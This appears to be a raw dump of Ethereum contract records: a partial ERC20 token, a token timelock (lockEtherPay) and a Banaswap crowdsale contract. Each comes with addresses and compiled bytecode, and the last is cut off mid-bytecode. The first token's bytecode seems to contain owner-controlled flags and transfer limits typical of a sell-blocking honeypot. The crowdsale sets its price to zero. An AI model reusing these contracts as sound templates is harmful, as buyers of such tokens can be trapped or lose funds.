/** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")); } }
0x608060405234801561001057600080fd5b50600436106101735760003560e01c8063893d20e8116100de578063bd0b822011610097578063ef2b556611610071578063ef2b556614610489578063f211f23b146104a6578063f2fde38b146104c3578063f81d1316146104e957610173565b8063bd0b82201461042d578063beff147614610453578063dd62ed3e1461045b57610173565b8063893d20e81461035b5780638da5cb5b1461037f57806395d89b4114610387578063a457c2d71461038f578063a8f072f9146103bb578063a9059cbb1461040157610173565b8063395093511161013057806339509351146102c95780633a378d02146102f55780636aac3955146102ff57806370a0823114610307578063715018a61461032d5780637de5bd071461033557610173565b806306fdde0314610178578063095ea7b3146101f557806318160ddd1461023557806323b872dd1461024f578063313ce5671461028557806335d8f316146102a3575b600080fd5b61018061050f565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101ba5781810151838201526020016101a2565b50505050905090810190601f1680156101e75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102216004803603604081101561020b57600080fd5b506001600160a01b0381351690602001356105a5565b604080519115158252519081900360200190f35b61023d6105c2565b60408051918252519081900360200190f35b6102216004803603606081101561026557600080fd5b506001600160a01b038135811691602081013590911690604001356105c8565b61028d610655565b6040805160ff9092168252519081900360200190f35b61023d600480360360208110156102b957600080fd5b50356001600160a01b031661065e565b610221600480360360408110156102df57600080fd5b506001600160a01b038135169060200135610670565b6102fd6106c4565b005b6102fd610737565b61023d6004803603602081101561031d57600080fd5b50356001600160a01b03166107b6565b6102fd6107d1565b6102216004803603602081101561034b57600080fd5b50356001600160a01b0316610873565b610363610888565b604080516001600160a01b039092168252519081900360200190f35b610363610897565b6101806108a6565b610221600480360360408110156103a557600080fd5b506001600160a01b038135169060200135610907565b6102fd600480360360a08110156103d157600080fd5b506001600160a01b0381351690602081013515159060408101351515906060810135151590608001351515610975565b6102216004803603604081101561041757600080fd5b506001600160a01b038135169060200135610a3f565b6102216004803603602081101561044357600080fd5b50356001600160a01b0316610a53565b61023d610a68565b61023d6004803603604081101561047157600080fd5b506001600160a01b0381358116916020013516610ac9565b6102216004803603602081101561049f57600080fd5b5035610af4565b6102fd600480360360208110156104bc57600080fd5b5035610b67565b6102fd600480360360208110156104d957600080fd5b50356001600160a01b0316610bc4565b610221600480360360208110156104ff57600080fd5b50356001600160a01b0316610c28565b60108054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561059b5780601f106105705761010080835404028352916020019161059b565b820191906000526020600020905b81548152906001019060200180831161057e57829003601f168201915b5050505050905090565b60006105b96105b2610c3d565b8484610c41565b50600192915050565b60095490565b60006105d5848484610ddc565b61064b846105e1610c3d565b610646856040518060600160405280602881526020016114b7602891396001600160a01b038a1660009081526003602052604081209061061f610c3d565b6001600160a01b03168152602081019190915260400160002054919063ffffffff61115116565b610c41565b5060019392505050565b600e5460ff1690565b60076020526000908152604090205481565b60006105b961067d610c3d565b84610646856003600061068e610c3d565b6001600160a01b03908116825260208083019390935260409182016000908120918c16815292529020549063ffffffff6111e816565b6106cc610c3d565b6000546001600160a01b0390811691161461071c576040805162461bcd60e51b815260206004820181905260248201526000805160206114df833981519152604482015290519081900360640190fd5b600c54600a556011805460ff60a81b1916600160a81b179055565b6001546000546001600160a01b039081169116141561075557600080fd5b600154600080546040516001600160a01b0393841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600154600080546001600160a01b0319166001600160a01b03909216919091179055565b6001600160a01b031660009081526002602052604090205490565b6107d9610c3d565b6000546001600160a01b03908116911614610829576040805162461bcd60e51b815260206004820181905260248201526000805160206114df833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60056020526000908152604090205460ff1681565b6000610892610897565b905090565b6000546001600160a01b031690565b600f8054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561059b5780601f106105705761010080835404028352916020019161059b565b60006105b9610914610c3d565b8461064685604051806060016040528060258152602001611548602591396003600061093e610c3d565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919063ffffffff61115116565b61097d610c3d565b6000546001600160a01b039081169116146109cd576040805162461bcd60e51b815260206004820181905260248201526000805160206114df833981519152604482015290519081900360640190fd5b6001600160a01b039094166000908152600460209081526040808320805496151560ff1997881617905560058252808320805495151595871695909517909455600690529190912080549115159190921617905560118054911515600160a81b0260ff60a81b19909216919091179055565b60006105b9610a4c610c3d565b8484610ddc565b60066020526000908152604090205460ff1681565b6000610a72610c3d565b6000546001600160a01b03908116911614610ac2576040805162461bcd60e51b815260206004820181905260248201526000805160206114df833981519152604482015290519081900360640190fd5b5060095490565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b6000610afe610c3d565b6000546001600160a01b03908116911614610b4e576040805162461bcd60e51b815260206004820181905260248201526000805160206114df833981519152604482015290519081900360640190fd5b610b5f610b59610c3d565b83611249565b506001919050565b610b6f610c3d565b6000546001600160a01b03908116911614610bbf576040805162461bcd60e51b815260206004820181905260248201526000805160206114df833981519152604482015290519081900360640190fd5b600a55565b610bcc610c3d565b6000546001600160a01b03908116911614610c1c576040805162461bcd60e51b815260206004820181905260248201526000805160206114df833981519152604482015290519081900360640190fd5b610c258161133b565b50565b60046020526000908152604090205460ff1681565b3390565b806001600160a01b038416610c875760405162461bcd60e51b81526004018080602001828103825260248152602001806115246024913960400191505060405180910390fd5b6001600160a01b038316610ccc5760405162461bcd60e51b815260040180806020018281038252602281526020018061146f6022913960400191505060405180910390fd5b6011546001600160a01b0385811661010090920416148015610cf5575060115460ff1615156001145b15610d48576001600160a01b0383166000908152600460209081526040808320805460ff199081166001179091556005835281842080548216905560069092529091208054821690556011805490911690555b6001600160a01b03841660009081526005602052604090205460ff16610d6e5781610d73565b6206ad785b6001600160a01b0380861660008181526003602090815260408083209489168084529482529182902085905581518581529151949550929391927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92592918290030190a350505050565b6001600160a01b038316610e215760405162461bcd60e51b81526004018080602001828103825260258152602001806114ff6025913960400191505060405180910390fd5b6001600160a01b038216610e665760405162461bcd60e51b81526004018080602001828103825260238152602001806114266023913960400191505060405180910390fd5b6011546001600160a01b0384811661010090920416148015610e8b575060085460ff16155b15610eaa57600c54600a556011805460ff60a81b1916600160a81b1790555b6011546001600160a01b0384811661010090920416148015610ed3575060085460ff1615156001145b15610f19576001600160a01b0382166000908152600460209081526040808320805460ff1990811660011790915560059092529091208054821690556008805490911690555b6001600160a01b03821660009081526004602052604090205460ff161515600114610f7f57610f466113db565b604e14610f54576000610f57565b60015b6001600160a01b0383166000908152600560205260409020805460ff19169115159190911790555b6001600160a01b03831660009081526005602052604090205460ff168015610fc057506001600160a01b03821660009081526004602052604090205460ff16155b15610fe9576001600160a01b0382166000908152600560205260409020805460ff191660011790555b6001600160a01b03831660009081526004602052604090205460ff1661107d57600a54811061101757600080fd5b601154600160a81b900460ff1615156001141561107d576001600160a01b03831660009081526006602052604090205460ff1615156001141561105957600080fd5b6001600160a01b0383166000908152600660205260409020805460ff191660011790555b6110c081604051806060016040528060268152602001611491602691396001600160a01b038616600090815260026020526040902054919063ffffffff61115116565b6001600160a01b0380851660009081526002602052604080822093909355908416815220546110f5908263ffffffff6111e816565b6001600160a01b0380841660008181526002602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600081848411156111e05760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156111a557818101518382015260200161118d565b50505050905090810190601f1680156111d25780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600082820183811015611242576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b6001600160a01b0382166112a4576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b6009546112b7908263ffffffff6111e816565b6009556001600160a01b0382166000908152600260205260409020546112e3908263ffffffff6111e816565b6001600160a01b03831660008181526002602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6001600160a01b0381166113805760405162461bcd60e51b81526004018080602001828103825260268152602001806114496026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6012805460408051426020808301919091523360601b82840152605480830185905283518084039091018152607490920190925280519101206001909101909155620186a090069056fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657245524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa265627a7a72315820d94dcb73de06854e07776fdedcf7768a1b6077b832d53c6aa9c530965dc1a54f64736f6c63430005100032
[ 10, 9 ]
0xf268038c17c6a7539778a5ad747d51eda2d5b80f
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public{ owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 27475200; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0xC5fd76F85E95AaD65bD010e942c7e1F19FED289e; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0x6080604052600436106100b95763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416631624335681146100be57806338af3eed146100e55780636e15266a14610116578063834ee4171461012b57806386d1a69f146101405780638da5cb5b146101575780639b7faaf01461016c5780639e1a4d1914610195578063a4e2d634146101aa578063f2fde38b146101bf578063f83d08ba146101e0578063fa2a8997146101f5575b600080fd5b3480156100ca57600080fd5b506100d361020a565b60408051918252519081900360200190f35b3480156100f157600080fd5b506100fa610210565b60408051600160a060020a039092168252519081900360200190f35b34801561012257600080fd5b506100d361021f565b34801561013757600080fd5b506100d3610225565b34801561014c57600080fd5b5061015561022b565b005b34801561016357600080fd5b506100fa6103d1565b34801561017857600080fd5b506101816103e0565b604080519115158252519081900360200190f35b3480156101a157600080fd5b506100d36103e8565b3480156101b657600080fd5b5061018161047e565b3480156101cb57600080fd5b50610155600160a060020a036004351661049f565b3480156101ec57600080fd5b50610181610533565b34801561020157600080fd5b506101816105db565b60045481565b600254600160a060020a031681565b60055481565b60035481565b60008054600160a060020a0316331461024357600080fd5b60025474010000000000000000000000000000000000000000900460ff16151561026c57600080fd5b6002547501000000000000000000000000000000000000000000900460ff161561029557600080fd5b61029d6103e0565b15156102a857600080fd5b6102b06103e8565b600154600254604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a03928316600482015260248101859052905193945091169163a9059cbb916044808201926020929091908290030181600087803b15801561032457600080fd5b505af1158015610338573d6000803e3d6000fd5b505050506040513d602081101561034e57600080fd5b505060025460408051600160a060020a0390921682526020820183905280517f9cf9e3ab58b33f06d81842ea0ad850b6640c6430d6396973312e1715792e7a919281900390910190a1506002805475ff00000000000000000000000000000000000000000019167501000000000000000000000000000000000000000000179055565b600054600160a060020a031681565b600454421190565b600154604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051600092600160a060020a0316916370a0823191602480830192602092919082900301818787803b15801561044d57600080fd5b505af1158015610461573d6000803e3d6000fd5b505050506040513d602081101561047757600080fd5b5051905090565b60025474010000000000000000000000000000000000000000900460ff1681565b600054600160a060020a031633146104b657600080fd5b600160a060020a03811615156104cb57600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60008054600160a060020a0316331461054b57600080fd5b60025474010000000000000000000000000000000000000000900460ff161561057357600080fd5b600061057d6103e8565b1161058757600080fd5b4260038190556005546105a0919063ffffffff6105fd16565b6004556002805474ff000000000000000000000000000000000000000019167401000000000000000000000000000000000000000017905590565b6002547501000000000000000000000000000000000000000000900460ff1681565b60008282018381101561060c57fe5b93925050505600a165627a7a72305820cbd34dc5ab7627938fc5f53d4acd64e149e04db46379ed5984bb793e3319ebce0029
[ 16, 7 ]
0xf268f498e9fd430f6c0d3ede6daffcb58e49c1b7
pragma solidity ^0.4.23; // // Banaswap: https://banaswap.org // Symbol: BAS // Decimals: 18 /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. **/ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. **/ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). **/ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. **/ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". **/ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender account. **/ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. **/ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. **/ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic interface * @dev Basic ERC20 interface **/ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 **/ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. **/ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence **/ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. **/ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. **/ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred **/ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. **/ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. **/ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. **/ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. **/ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Configurable * @dev Configurable varriables of the contract **/ contract Configurable { uint256 public constant cap = 100000000*10**18; uint256 public constant basePrice = 0; // tokens per 1 ether uint256 public tokensSold = 0; uint256 public constant tokenReserve = 100000000*10**18; uint256 public remainingTokens = 0; } /** * @title CrowdsaleToken * @dev Contract to preform crowd sale with token **/ contract CrowdsaleToken is StandardToken, Configurable, Ownable { /** * @dev enum of current crowd sale state **/ enum Stages { none, icoStart, icoEnd } Stages currentStage; /** * @dev constructor of CrowdsaleToken **/ constructor() public { currentStage = Stages.none; balances[owner] = balances[owner].add(tokenReserve); totalSupply_ = totalSupply_.add(tokenReserve); remainingTokens = cap; emit Transfer(address(this), owner, tokenReserve); } /** * @dev fallback function to send ether to for Crowd sale **/ function () public payable { require(currentStage == Stages.icoStart); require(msg.value > 0); require(remainingTokens > 0); uint256 weiAmount = msg.value; // Calculate tokens to sell uint256 tokens = weiAmount.mul(basePrice).div(1 ether); uint256 returnWei = 0; if(tokensSold.add(tokens) > cap){ uint256 newTokens = cap.sub(tokensSold); uint256 newWei = newTokens.div(basePrice).mul(1 ether); returnWei = weiAmount.sub(newWei); weiAmount = newWei; tokens = newTokens; } tokensSold = tokensSold.add(tokens); // Increment raised amount remainingTokens = cap.sub(tokensSold); if(returnWei > 0){ msg.sender.transfer(returnWei); emit Transfer(address(this), msg.sender, returnWei); } balances[msg.sender] = balances[msg.sender].add(tokens); emit Transfer(address(this), msg.sender, tokens); totalSupply_ = totalSupply_.add(tokens); owner.transfer(weiAmount);// Send money to owner } /** * @dev startIco starts the public ICO **/ function startIco() public onlyOwner { require(currentStage != Stages.icoEnd); currentStage = Stages.icoStart; } /** * @dev endIco closes down the ICO **/ function endIco() internal { currentStage = Stages.icoEnd; // Transfer any remaining tokens if(remainingTokens > 0) balances[owner] = balances[owner].add(remainingTokens); // transfer any remaining ETH balance in the contract to the owner owner.transfer(address(this).balance); } /** * @dev finalizeIco closes down the ICO and sets needed varriables **/ function finalizeIco() public onlyOwner { require(currentStage != Stages.icoEnd); endIco(); } } /** * @title Banaswap * @dev Contract to create the Banaswap **/ contract Banaswap is CrowdsaleToken { string public constant name = "Banaswap"; string public constant symbol = "BAS"; uint32 public constant decimals = 18; }
0x608060405260043610610112576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146104b4578063095ea7b31461054457806318160ddd146105a957806323b872dd146105d4578063313ce56714610659578063355274ea14610690578063518ab2a8146106bb57806366188463146106e657806370a082311461074b57806389311e6f146107a25780638da5cb5b146107b9578063903a3ef61461081057806395d89b4114610827578063a9059cbb146108b7578063bf5839031461091c578063c7876ea414610947578063cbcb317114610972578063d73dd6231461099d578063dd62ed3e14610a02578063f2fde38b14610a79575b60008060008060006001600281111561012757fe5b600560149054906101000a900460ff16600281111561014257fe5b14151561014e57600080fd5b60003411151561015d57600080fd5b600060045411151561016e57600080fd5b34945061019f670de0b6b3a7640000610191600088610abc90919063ffffffff16565b610af490919063ffffffff16565b9350600092506a52b7d2dcc80cd2e40000006101c685600354610b0a90919063ffffffff16565b111561023a576101ec6003546a52b7d2dcc80cd2e4000000610b2690919063ffffffff16565b915061021c670de0b6b3a764000061020e600085610af490919063ffffffff16565b610abc90919063ffffffff16565b90506102318186610b2690919063ffffffff16565b92508094508193505b61024f84600354610b0a90919063ffffffff16565b6003819055506102756003546a52b7d2dcc80cd2e4000000610b2690919063ffffffff16565b6004819055506000831115610331573373ffffffffffffffffffffffffffffffffffffffff166108fc849081150290604051600060405180830381858888f193505050501580156102ca573d6000803e3d6000fd5b503373ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35b610382846000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b0a90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a361043e84600154610b0a90919063ffffffff16565b600181905550600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc869081150290604051600060405180830381858888f193505050501580156104ac573d6000803e3d6000fd5b505050505050005b3480156104c057600080fd5b506104c9610b3f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105095780820151818401526020810190506104ee565b50505050905090810190601f1680156105365780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561055057600080fd5b5061058f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b78565b604051808215151515815260200191505060405180910390f35b3480156105b557600080fd5b506105be610c6a565b6040518082815260200191505060405180910390f35b3480156105e057600080fd5b5061063f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c74565b604051808215151515815260200191505060405180910390f35b34801561066557600080fd5b5061066e61102e565b604051808263ffffffff1663ffffffff16815260200191505060405180910390f35b34801561069c57600080fd5b506106a5611033565b6040518082815260200191505060405180910390f35b3480156106c757600080fd5b506106d0611042565b6040518082815260200191505060405180910390f35b3480156106f257600080fd5b50610731600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611048565b604051808215151515815260200191505060405180910390f35b34801561075757600080fd5b5061078c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112d9565b6040518082815260200191505060405180910390f35b3480156107ae57600080fd5b506107b7611321565b005b3480156107c557600080fd5b506107ce6113d7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561081c57600080fd5b506108256113fd565b005b34801561083357600080fd5b5061083c611497565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561087c578082015181840152602081019050610861565b50505050905090810190601f1680156108a95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156108c357600080fd5b50610902600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506114d0565b604051808215151515815260200191505060405180910390f35b34801561092857600080fd5b506109316116ef565b6040518082815260200191505060405180910390f35b34801561095357600080fd5b5061095c6116f5565b6040518082815260200191505060405180910390f35b34801561097e57600080fd5b506109876116fa565b6040518082815260200191505060405180910390f35b3480156109a957600080fd5b506109e8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611709565b604051808215151515815260200191505060405180910390f35b348015610a0e57600080fd5b50610a63600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611905565b6040518082815260200191505060405180910390f35b348015610a8557600080fd5b50610aba600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061198c565b005b600080831415610acf5760009050610aee565b8183029050818382811515610ae057fe5b04141515610aea57fe5b8090505b92915050565b60008183811515610b0157fe5b04905092915050565b60008183019050828110151515610b1d57fe5b80905092915050565b6000828211151515610b3457fe5b818303905092915050565b6040805190810160405280600881526020017f42616e617377617000000000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610cb157600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610cfe57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610d8957600080fd5b610dda826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b2690919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e6d826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b0a90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f3e82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b2690919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601281565b6a52b7d2dcc80cd2e40000008